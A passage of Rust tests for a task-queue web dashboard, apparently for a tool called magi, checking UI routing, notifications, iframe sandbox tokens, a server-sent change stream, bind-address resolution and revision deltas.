19675 "`#/queue/<id>` must parse into a route carrying that id"
19676 );
19677
19678 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19682 assert!(APP_JS.contains("function consumeQueueFocus()"));
19683 assert!(APP_JS.contains("jumpToTask(id)"));
19684 }
19685
19686 #[test]
19687 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19688 let start = APP_JS
19689 .find("function noticeCoveredBy(")
19690 .expect("noticeCoveredBy exists");
19691 let body = &APP_JS[start..];
19692 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19693
19694 assert!(body.contains("Associated question ${short}"));
19696 assert!(!body.contains("el(\"a\""));
19697
19698 assert!(body.contains("(resolved)"));
19700 assert!(body.contains("(closed)"));
19701
19702 let start = APP_JS
19703 .find("function renderNotifications()")
19704 .expect("renderNotifications exists");
19705 let body = &APP_JS[start..];
19706 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19707
19708 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19710 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19711 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19712 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19713 }
19714
19715 #[test]
19718 fn chat_rows_put_the_title_alone_on_the_first_line() {
19719 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19720 assert!(APP_CSS.contains(
19721 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19722 ));
19723 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19724 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19725 }
19726
19727 #[test]
19728 fn run_rows_put_the_title_alone_on_the_first_line() {
19729 assert!(
19730 APP_CSS.contains(
19731 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19732 )
19733 );
19734 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19735 assert!(APP_JS.contains("class: \"card run-card\""));
19736 assert!(APP_JS.contains("class: \"repo run-id\""));
19737 }
19738
19739 #[test]
19743 fn wide_screens_show_list_and_preview_side_by_side() {
19744 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19746 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19747 assert!(APP_CSS.contains("main[data-split]"));
19748 assert!(APP_CSS.contains("body[data-split]"));
19749
19750 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19752 assert!(
19753 APP_JS.contains(
19754 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19755 )
19756 );
19757 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19758 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19759 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19760
19761 assert!(APP_JS.contains("function markSelected() {"));
19763 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19764 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19765 assert!(
19767 APP_CSS.contains(
19768 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19769 )
19770 );
19771
19772 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19774 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19775 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19776 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19777
19778 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19782 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19783 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19784 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19785
19786 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19788 }
19789
19790 #[test]
19791 fn panel_sandbox_carries_exactly_popups() {
19792 let needle = "sandbox: \"";
19793 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19794 assert_eq!(
19795 matches.len(),
19796 1,
19797 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19798 );
19799 let start = matches[0].0 + needle.len();
19800 let end = APP_JS[start..]
19801 .find('"')
19802 .expect("sandbox attribute value must be terminated by a closing quote");
19803 let val = &APP_JS[start..start + end];
19804 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19805 let expected: std::collections::BTreeSet<&str> =
19806 ["allow-popups", "allow-popups-to-escape-sandbox"]
19807 .into_iter()
19808 .collect();
19809 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
19810 assert!(
19811 !tokens.contains("allow-scripts"),
19812 "allow-scripts must never be present in sandbox"
19813 );
19814 assert!(
19815 !tokens.contains("allow-same-origin"),
19816 "allow-same-origin must never be present in sandbox"
19817 );
19818 }
19819
19820 #[test]
19821 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
19822 assert!(
19831 APP_JS.contains(
19832 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
19833 ),
19834 "the search-clearing branch must run before state.queueFocus is cleared, or the \
19835 recursive renderQueue() call has nothing left to jump to"
19836 );
19837 assert!(
19838 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
19839 "state.queueFocus must be cleared only once the jump has landed, so a card that \
19840 arrives later still gets it"
19841 );
19842 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19843 assert!(APP_JS.contains("is not in the current Backlog."));
19844 assert!(APP_JS.contains("li.card[data-task-id=\""));
19845 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19846 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19847 assert!(APP_CSS.contains(".card-permalink"));
19848 assert!(APP_CSS.contains(".queue-focus-status"));
19849 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19850 }
19851
19852 #[test]
19853 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19854 assert!(
19862 APP_JS.contains(
19863 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19864 ),
19865 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19866 );
19867 }
19868
19869 #[test]
19870 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19871 assert!(
19872 APP_JS.contains("round.verified_head !== round.head"),
19873 "a round that verified an earlier commit must be visibly distinct from one that \
19874 verified the head reviewers are looking at now"
19875 );
19876 assert!(
19877 APP_JS.contains("round.verified_at"),
19878 "when a check ran must be on the wire, not just which commit"
19879 );
19880 assert!(
19881 APP_JS.contains("resource_blocked"),
19882 "a command magi never got to run (shared build cache contention) must not render \
19883 the same as a command that ran and failed"
19884 );
19885 }
19886
19887 #[test]
19888 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19889 assert!(
19897 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19898 "every KPI tile built through statusTile() must route its click through \
19899 openRunsFiltered, the single place that sets the Runs filter"
19900 );
19901 for (label, status) in [
19902 ("Merged", "merged"),
19903 ("Ready", "ready"),
19904 ("Blocked", "blocked"),
19905 ("Stalled", "stalled"),
19906 ] {
19907 let call = format!("statusTile(\"{label}\", t.{status}, ");
19908 assert!(
19909 APP_JS.contains(&call),
19910 "expected the {label} KPI tile built via {call}..."
19911 );
19912 assert!(
19913 APP_JS.contains(&format!("status === \"{status}\"")),
19914 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19915 compare a run against, not one invented only for the stats tile"
19916 );
19917 }
19918 assert!(
19919 APP_JS.contains("function openRunsFiltered(status)"),
19920 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19921 );
19922 assert!(
19923 APP_JS.contains(
19924 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19925 ),
19926 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19927 );
19928 assert!(
19936 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19937 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19938 hashchange event that may never fire"
19939 );
19940 }
19941
19942 #[test]
19943 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19944 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19950 assert!(
19951 APP_JS.contains(
19952 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19953 ),
19954 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19955 guard for an incompatible tree section"
19956 );
19957 }
19958
19959 #[test]
19960 fn every_stats_queue_tile_names_a_real_queue_section() {
19961 assert!(
19967 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19968 "every queue tile built through sectionTile() must route its click through \
19969 openQueueSectionFocus"
19970 );
19971 for key in ["upnext", "running", "done", "held", "blocked"] {
19972 assert!(
19973 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19974 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19975 );
19976 }
19977 for line in [
19981 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19982 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19983 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19984 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19985 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19986 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19987 ] {
19988 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19989 }
19990 }
19991
19992 #[test]
19993 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19994 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20001 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20002 assert!(APP_JS.contains("function revealQueueSection(details)"));
20003 assert!(
20004 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20005 "renderQueue() must consume both focus channels on every pass"
20006 );
20007 assert!(
20008 APP_JS.contains(
20009 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20010 ),
20011 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20012 the recursive renderQueue() call has nothing left to reveal"
20013 );
20014 assert!(
20015 APP_JS.contains(
20016 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20017 ),
20018 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20019 );
20020 assert!(
20028 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20029 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20030 hashchange event that may never fire"
20031 );
20032 }
20033
20034 #[tokio::test]
20035 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20036 let f = Fixture::start().await;
20037
20038 let mut socket = tokio::net::TcpStream::connect(f.addr)
20039 .await
20040 .expect("connect");
20041 socket
20042 .write_all(
20043 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20044 )
20045 .await
20046 .expect("write request");
20047
20048 let mut seen = String::new();
20051 let mut buf = [0u8; 1024];
20052 while !seen.contains("event: change") {
20053 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20054 .await
20055 .expect("the stream must speak within five seconds")
20056 .expect("read");
20057 assert!(read > 0, "the server closed the change stream: {seen}");
20058 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20059 }
20060
20061 assert!(
20062 seen.to_lowercase()
20063 .contains("content-type: text/event-stream"),
20064 "the browser only reconnects automatically for a real SSE stream: {seen}"
20065 );
20066 let data = seen
20067 .lines()
20068 .find_map(|l| l.strip_prefix("data:"))
20069 .expect("a data line");
20070 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20071 assert!(
20072 payload["queue_rev"].is_u64()
20073 && payload["runs_rev"].is_u64()
20074 && payload["questions_rev"].is_u64()
20075 && payload["talks_rev"].is_u64()
20076 && payload["notifications_rev"].is_u64()
20077 && payload["loop_rev"].is_u64(),
20078 "the client needs one revision per store to know what to refetch, \
20079 and `talks_rev` is the only notification a standing talk gets - a \
20080 phone whose radio slept through a turn learns about it here, as \
20081 does one whose operator started the loop from another device: \
20082 {payload}"
20083 );
20084
20085 let health = f.get("/api/health").await.json();
20092 for key in [
20093 "queue_rev",
20094 "runs_rev",
20095 "questions_rev",
20096 "talks_rev",
20097 "notifications_rev",
20098 "loop_rev",
20099 ] {
20100 assert!(
20101 health[key].is_u64(),
20102 "health is the change stream's fallback and is missing `{key}`: {health}"
20103 );
20104 }
20105 }
20106
20107 #[tokio::test]
20108 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20109 let f = Fixture::start().await;
20110 let before = f.get("/api/health").await.json()["talks_rev"]
20111 .as_u64()
20112 .expect("talks_rev");
20113
20114 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20115 std::thread::sleep(Duration::from_millis(10));
20116 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20117 on_disk.turns.push(crate::talk::Turn {
20118 sender: None,
20119 breaks: Some(Vec::new()),
20120 messages: Vec::new(),
20121 posted_by: None,
20122 who: crate::talk::Who::Operator,
20123 body: "a new turn".to_owned(),
20124 at: Timestamp::now(),
20125 attachments: Vec::new(),
20126 usage: None,
20127 });
20128 f.talks().put(&mut on_disk).expect("record a turn");
20129
20130 let after = tokio::time::timeout(Duration::from_secs(5), async {
20131 loop {
20132 let revision = f.get("/api/health").await.json()["talks_rev"]
20133 .as_u64()
20134 .unwrap();
20135 if revision != before {
20136 break revision;
20137 }
20138 tokio::time::sleep(Duration::from_millis(50)).await;
20139 }
20140 })
20141 .await
20142 .expect("shared monitor observes external turn");
20143 assert_ne!(
20144 before, after,
20145 "a phone must be able to notice a talk's reply without polling every store"
20146 );
20147 }
20148
20149 #[test]
20150 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20151 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20155 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20156 }
20157 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20158 assert!("everywhere".parse::<Bind>().is_err());
20159 }
20160
20161 #[test]
20162 fn an_explicit_bind_address_is_taken_verbatim() {
20163 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20164
20165 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20166
20167 assert_eq!(addr, asked);
20168 assert!(
20169 warning.is_none(),
20170 "an operator who named an address gets no lecture"
20171 );
20172 }
20173
20174 #[test]
20175 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20176 let (addr, warning) = resolve_bind(&Bind::Auto);
20177
20178 match addr {
20185 IpAddr::V4(ip) if is_tailnet(&ip) => {
20186 assert!(warning.is_none(), "a tailnet address needs no warning");
20187 }
20188 other => {
20189 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20190 let warning = warning.expect("a fallback has to explain itself");
20191 assert!(
20192 warning.contains("127.0.0.1") && warning.contains("local-only"),
20193 "the warning says what happened and what it costs: {warning}"
20194 );
20195 }
20196 }
20197 }
20198
20199 #[test]
20200 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20201 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20205 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20206 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20207 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20208 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20209 }
20210
20211 #[test]
20212 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20213 let ids = vec![
20214 "20260902-140501-aaaa".to_owned(),
20215 "20260902-140502-aabb".to_owned(),
20216 ];
20217
20218 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20219 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20220 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20221
20222 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20223 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20224 assert_eq!(short, "20260902-140502-aabb");
20225 }
20226 #[tokio::test]
20227 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20228 let fx = Fixture::start().await;
20234 let id = panel(
20235 &fx,
20236 "<img src=\"shot.png\">",
20237 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20238 );
20239
20240 let doc = fx
20242 .get(&format!("/api/questions/{id}/panel/index.html"))
20243 .await;
20244 assert_eq!(doc.status, 200, "{}", doc.body);
20245 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20246
20247 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20248 assert_eq!(sibling.status, 200, "{}", sibling.body);
20249 assert_eq!(sibling.header("content-type"), Some("image/png"));
20250 assert_eq!(
20251 sibling.header("content-security-policy"),
20252 Some(PANEL_CSP),
20253 "the sibling route must carry the same policy as the asset route"
20254 );
20255
20256 assert_eq!(
20259 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20260 200
20261 );
20262 }
20263
20264 #[test]
20265 fn delta_stamps_cover_add_update_remove_and_noop() {
20266 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20267 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20268 let delta = diff_stamps(&before, &after, 42);
20269 assert_eq!(delta.base, 42);
20270 assert_eq!(delta.changed, ["b", "c"]);
20271 assert_eq!(delta.removed, ["a"]);
20272 let same = diff_stamps(&after, &after, 43);
20273 assert!(same.changed.is_empty() && same.removed.is_empty());
20274 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20275 let nanos: Stamps = [("b".into(), (2, 20))].into();
20276 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20277 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20278 assert_eq!(stamps_revision(&Stamps::new()), 0);
20279 }
20280
20281 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20282 std::fs::create_dir_all(home.join("runs")).unwrap();
20283 Arc::new(Ui::new(
20284 Queue::at(home.join("queue")),
20285 Questions::at(home.join("questions")),
20286 Talks::at(home.join("talks")),
20287 home.join("runs"),
20288 home.to_owned(),
20289 PathBuf::from("/repo/magi"),
20290 ))
20291 }
20292
20293 #[test]
20294 fn monitor_scan_isolates_store_failures_and_recovers() {
20295 let home = TempDir::new().unwrap();
20296 let ui = delta_test_ui(home.path());
20297 std::fs::create_dir_all(ui.questions.root()).unwrap();
20298 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20299 let before = monitor_scan(&ui, None);
20300 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20301 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20302 std::fs::create_dir_all(ui.talks.root()).unwrap();
20303 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20304 let during = monitor_scan(&ui, Some(before.clone()));
20305 assert_eq!(during.0.2, before.0.2);
20306 assert_ne!(during.0.3, before.0.3);
20307 assert!(during.1[2].contains_key("new"));
20308 std::fs::remove_file(ui.questions.root()).unwrap();
20309 let after = monitor_scan(&ui, Some(during));
20310 assert_eq!(after.0.2, 0);
20311 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20312 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20314 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20315 }
20316
20317 #[tokio::test]
20318 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20319 let home = TempDir::new().unwrap();
20320 let ui = delta_test_ui(home.path());
20321 let mut task = Task::new(
20322 "stream task".into(),
20323 "text".into(),
20324 PathBuf::from("/repo"),
20325 Source::Human,
20326 );
20327 ui.queue.put(&mut task).unwrap();
20328 let response = events(State(ui.clone())).await.into_response();
20329 let mut stream = response.into_body().into_data_stream();
20330 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20331 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20332 .await
20333 .unwrap()
20334 .unwrap()
20335 .unwrap();
20336 let text = String::from_utf8(chunk.to_vec()).unwrap();
20337 let data = text
20338 .lines()
20339 .find_map(|line| {
20340 line.strip_prefix("data: ")
20341 .or_else(|| line.strip_prefix("data:"))
20342 })
20343 .unwrap();
20344 serde_json::from_str(data).unwrap()
20345 }
20346 let initial = change(&mut stream).await;
20347 assert!(initial.get("queue_delta").is_none());
20348 task.instruction.push_str(" changed");
20349 ui.queue.put(&mut task).unwrap();
20350 let updated = change(&mut stream).await;
20351 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20352 assert_eq!(
20353 updated["queue_delta"]["changed"],
20354 serde_json::json!([task.id])
20355 );
20356 assert_eq!(
20357 updated["queue_rev"].as_u64(),
20358 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20359 );
20360 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20361 let removed = change(&mut stream).await;
20362 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20363 assert_eq!(
20364 removed["queue_delta"]["removed"],
20365 serde_json::json!([task.id])
20366 );
20367 }
20368
20369 #[tokio::test]
20370 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20371 let home = TempDir::new().unwrap();
20372 let ui = delta_test_ui(home.path());
20373 let queue = ui.queue.clone();
20374 let query = |ids: Option<&str>| {
20375 Query(ListQuery {
20376 limit: Some(2),
20377 ids: ids.map(str::to_owned),
20378 })
20379 };
20380 let mut root = Task::new(
20381 "root".into(),
20382 "instruction".into(),
20383 PathBuf::from("/repo"),
20384 Source::Human,
20385 );
20386 queue.put(&mut root).unwrap();
20387 let mut blocked = Task::new(
20388 "blocked".into(),
20389 "instruction".into(),
20390 PathBuf::from("/repo"),
20391 Source::Human,
20392 );
20393 blocked.block(vec![root.id.clone()], None);
20394 queue.put(&mut blocked).unwrap();
20395 let whole =
20396 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20397 .unwrap();
20398 let subset = serde_json::to_value(
20399 queue_list(State(ui.clone()), query(Some(&root.id)))
20400 .await
20401 .unwrap()
20402 .0,
20403 )
20404 .unwrap();
20405 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20406 let blockers = serde_json::to_value(
20407 queue_list(State(ui.clone()), query(Some("")))
20408 .await
20409 .unwrap()
20410 .0,
20411 )
20412 .unwrap();
20413 assert_eq!(blockers.as_array().unwrap().len(), 1);
20414 assert_eq!(blockers[0]["id"], blocked.id);
20415 assert_eq!(
20416 blockers[0]["waits_on"],
20417 whole
20418 .as_array()
20419 .unwrap()
20420 .iter()
20421 .find(|row| row["id"] == blocked.id)
20422 .unwrap()["waits_on"]
20423 );
20424
20425 for id in [
20426 "20260902-140501-aaaa",
20427 "20260902-140502-bbbb",
20428 "20260902-140503-cccc",
20429 ] {
20430 write_run(&ui.runs, id, RunStatus::Merged);
20431 }
20432 let old = serde_json::to_value(
20433 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20434 .await
20435 .unwrap()
20436 .0,
20437 )
20438 .unwrap();
20439 assert!(
20440 old.as_array().unwrap().is_empty(),
20441 "older updates must not enter the window"
20442 );
20443 let newest = serde_json::to_value(
20444 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20445 .await
20446 .unwrap()
20447 .0,
20448 )
20449 .unwrap();
20450 assert_eq!(newest.as_array().unwrap().len(), 1);
20451 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20452
20453 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20454 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20455 let talks = serde_json::to_value(
20456 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20457 .await
20458 .unwrap()
20459 .0,
20460 )
20461 .unwrap();
20462 assert_eq!(talks.as_array().unwrap().len(), 1);
20463 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20464 assert_eq!(
20465 serde_json::to_value(
20466 talks_list(State(ui.clone()), query(Some("")))
20467 .await
20468 .unwrap()
20469 .0
20470 )
20471 .unwrap(),
20472 serde_json::json!([])
20473 );
20474 }
20475
20476 #[tokio::test]
20477 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20478 async fn delta_payload_benchmark() {
20479 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20480 let ui = delta_test_ui(&home);
20481 let query = |ids: Option<String>| {
20482 Query(ListQuery {
20483 limit: Some(50),
20484 ids,
20485 })
20486 };
20487 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20488 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20489 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20490 let queue_id = queue
20491 .iter()
20492 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20493 .unwrap_or(&queue[0])
20494 .task
20495 .id
20496 .clone();
20497 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20498 .await
20499 .unwrap()
20500 .0;
20501 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20502 .await
20503 .unwrap()
20504 .0;
20505 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20506 .await
20507 .unwrap()
20508 .0;
20509 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20510 eprintln!(
20511 "DELTA_PAYLOAD {}",
20512 serde_json::json!({
20513 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20514 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20515 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20516 "counts": [queue.len(), runs.len(), talks.len()],
20517 "blocked": queue_delta.len() - 1,
20518 })
20519 );
20520 }
20521
20522 #[test]
20523 fn runs_revision_moves_when_deleting_an_older_run() {
20524 let temp = TempDir::new().expect("tempdir");
20525 let runs = temp.path().join("runs");
20526 std::fs::create_dir_all(&runs).expect("create runs dir");
20527
20528 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20529
20530 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20531 std::thread::sleep(Duration::from_millis(10));
20532 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20533
20534 let rev_before = runs_revision(&runs);
20535 assert!(rev_before > 0);
20536
20537 let old_dir = runs.join("20260901-100000-old1");
20538 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20539
20540 let rev_after = runs_revision(&runs);
20541 assert_ne!(
20542 rev_before, rev_after,
20543 "deleting an older run must change the revision so other clients see the deletion"
20544 );
20545 }
20546
20547 fn write_state(runs: &FsPath, state: &RunState) {
20552 let dir = runs.join(&state.id);
20553 std::fs::create_dir_all(&dir).expect("run dir");
20554 std::fs::write(
20555 dir.join("run.json"),
20556 serde_json::to_string_pretty(state).expect("serialize run"),
20557 )
20558 .expect("write run.json");
20559 }
20560
20561 #[test]
20566 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20567 let temp = TempDir::new().expect("tempdir");
20568 let runs = temp.path().join("runs");
20569 std::fs::create_dir_all(&runs).expect("create runs dir");
20570 let mut state = RunState::new(
20571 PathBuf::from("/repo/magi"),
20572 "main".to_owned(),
20573 "0123456789abcdef".to_owned(),
20574 "task".to_owned(),
20575 Config::default(),
20576 );
20577 state.id = "20260902-100000-c0de".to_owned();
20578 write_state(&runs, &state);
20579
20580 let rev_idle = runs_revision(&runs);
20581 std::thread::sleep(Duration::from_millis(10));
20582 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20583 write_state(&runs, &state);
20584 let rev_started = runs_revision(&runs);
20585 assert_ne!(
20586 rev_idle, rev_started,
20587 "a seat starting must move the revision"
20588 );
20589
20590 std::thread::sleep(Duration::from_millis(10));
20591 state.seat_finished("judge-1");
20592 write_state(&runs, &state);
20593 let rev_finished = runs_revision(&runs);
20594 assert_ne!(
20595 rev_started, rev_finished,
20596 "and clearing it again must move the revision a second time"
20597 );
20598 }
20599
20600 #[tokio::test]
20601 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20602 let fx = Fixture::start().await;
20607 let q = fx.queue();
20608
20609 let mut t = Task::new(
20610 "Task".to_owned(),
20611 "Instruction".to_owned(),
20612 PathBuf::from("/repo"),
20613 Source::Human,
20614 );
20615 t.block(
20616 vec!["20260101-000000-dead".to_owned()],
20617 Some("waiting on Task 1".to_owned()),
20618 );
20619 t.answers.push(crate::queue::AnsweredQuestion {
20620 question: "Which backend?".to_owned(),
20621 answer: "SQLite".to_owned(),
20622 });
20623 q.put(&mut t).expect("put t");
20624
20625 let res = fx.get("/api/queue").await;
20626 assert_eq!(res.status, 200);
20627 let list = res.json();
